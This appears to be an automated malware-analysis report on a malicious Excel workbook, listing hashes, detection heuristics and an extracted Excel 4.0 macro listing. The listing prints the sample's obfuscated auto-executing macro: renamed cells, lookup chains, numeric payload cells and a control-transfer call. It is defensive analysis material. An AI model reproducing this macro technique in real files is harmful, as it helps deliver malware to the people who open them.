Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9054c894661392ba…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:56 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 1e087fe11f578dc3c66ced45ebd7a2c4 SHA-1: b015d959bc9440ccfd5ab37fd0c9014bb033405c SHA-256: 9054c894661392ba191f19d6526f536422aafd9cb44d34a33260ad5792eb3947
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6804 bytes
SHA-256: b503231ec6fbca328c41e936d27b2b4d6fb0902afed894406cd28b237d285c1f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OGEDOrInx
' 0018     25 LABEL : Cell Value, String Constant - afDBkDtZuo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D145 
' 0018     23 LABEL : Cell Value, String Constant - AxMGVGGW len=0 
' 0018     22 LABEL : Cell Value, String Constant - aZfxygL len=0 
' 0018     21 LABEL : Cell Value, String Constant - ceflrt len=0 
' 0018     26 LABEL : Cell Value, String Constant - DSyaQOQtihN len=0 
' 0018     23 LABEL : Cell Value, String Constant - GcNAdUcg len=0 
' 0018     26 LABEL : Cell Value, String Constant - hHDQILAhopD len=0 
' 0018     20 LABEL : Cell Value, String Constant - iqdlv len=0 
' 0018     20 LABEL : Cell Value, String Constant - Jwfwb len=0 
' 0018     25 LABEL : Cell Value, String Constant - nyXcUlzoEX len=0 
' 0018     26 LABEL : Cell Value, String Constant - oGAMzeZUavY len=0 
' 0018     26 LABEL : Cell Value, String Constant - RUiTSZJjagf len=0 
' 0018     27 LABEL : Cell Value, String Constant - UvgQoutEnqDw len=0 
' 0018     26 LABEL : Cell Value, String Constant - VWzrfTJlOSW len=0 
' 0018     24 LABEL : Cell Value, String Constant - WOGaPmTkE len=0 
' 0018     23 LABEL : Cell Value, String Constant - WyGKsNMk len=0 
' 0018     25 LABEL : Cell Value, String Constant - xEwtrdrdNB len=0 
' 0018     21 LABEL : Cell Value, String Constant - YeRore len=0 
' 0018     20 LABEL : Cell Value, String Constant - yjbCY len=0 
' 0018     23 LABEL : Cell Value, String Constant - zBkjZZrb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OGEDOrInx,D51,"SET.NAME("xEwtrdrdNB",0+VALUE("0"))",""
'  OGEDOrInx,D55,"SET.NAME("WyGKsNMk",xEwtrdrdNB)",""
'  OGEDOrInx,D59,"SET.NAME("UvgQoutEnqDw",xEwtrdrdNB)",""
'  OGEDOrInx,D61,"SET.NAME("iqdlv",COUNTA(WOGaPmTkE))",""
'  OGEDOrInx,D66,"SET.NAME("Jwfwb",COUNTA(VWzrfTJlOSW))",""
'  OGEDOrInx,D71,[],""
'  OGEDOrInx,D74,"SET.NAME("yjbCY","")",""
'  OGEDOrInx,D77,"WyGKsNMk",""
'  OGEDOrInx,S78,"",71.00000000000000000000
'  OGEDOrInx,S79,"",184.00000000000000000000
'  OGEDOrInx,S80,"",-236.00000000000000000000
'  OGEDOrInx,D81,"SET.NAME("zBkjZZrb",HLOOKUP("*",WOGaPmTkE,WyGKsNMk,FALSE))",""
'  OGEDOrInx,S81,"",520.00000000000000000000
'  OGEDOrInx,S82,"",478.00000000000000000000
'  OGEDOrInx,S83,"",-906.00000000000000000000
'  OGEDOrInx,D84,"nyXcUlzoEX",""
'  OGEDOrInx,D89,"SET.NAME("DSyaQOQtihN",xEwtrdrdNB)",""
'  OGEDOrInx,D94,[],""
'  OGEDOrInx,D97,"DSyaQOQtihN",""
'  OGEDOrInx,D100,"YeRore",""
'  OGEDOrInx,D105,"hHDQILAhopD",""
'  OGEDOrInx,D107,"afDBkDtZuo",""
'  OGEDOrInx,D112,"SET.NAME("aZfxygL",VALUE(HLOOKUP("*",VWzrfTJlOSW,afDBkDtZuo,FALSE)))",""
'  OGEDOrInx,D115,"oGAMzeZUavY",""
'  OGEDOrInx,D118,"yjbCY",""
'  OGEDOrInx,D121,"UvgQoutEnqDw",""
'  OGEDOrInx,D126,NEXT(),""
'  OGEDOrInx,D128,"GcNAdUcg",""
'  OGEDOrInx,D132,[],""
'  OGEDOrInx,D134,"AxMGVGGW",""
'  OGEDOrInx,D139,NEXT(),""
'  OGEDOrInx,D143,RETURN(),""
'  OGEDOrInx,D174,"SET.NAME("RUiTSZJjagf",D51)",""
'  OGEDOrInx,D176,"WOGaPmTkE",""
'  OGEDOrInx,D178,"SET.NAME("VWzrfTJlOSW",R71C14)",""
'  OGEDOrInx,D183,"SET.NAME("AxMGVGGW",193)",""
'  OGEDOrInx,D187,"SET.NAME("ceflrt",4)",""
'  OGEDOrInx,D192,RUiTSZJjagf(),""
'  OGEDOrInx,D193,HALT(),""

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